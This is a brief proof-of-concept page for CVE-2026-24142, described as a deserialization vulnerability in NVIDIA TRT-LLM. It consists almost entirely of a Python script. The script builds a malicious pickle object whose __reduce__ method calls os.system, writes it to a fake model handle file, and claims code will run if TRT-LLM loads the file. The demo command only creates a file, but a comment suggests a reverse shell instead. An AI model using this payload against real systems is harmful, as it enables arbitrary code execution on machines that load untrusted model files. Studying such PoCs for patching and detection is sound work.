CVE-2026-24142 NVIDIA TRT-LLM反序列化漏洞

import pickle import os # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # Command to execute (e.g., creating a file or reverse shell) return (os.system, ('touch /tmp/poc_success',)) # Serialize the malicious object malicious_data = pickle.dumps(MaliciousPayload()) # Simulate writing to an unsafe handle/file that TRT-LLM might load with open('malicious_model.handle', 'wb') as f: f.write(malicious_data) print("Malicious handle generated. If TRT-LLM loads this, code will execute.")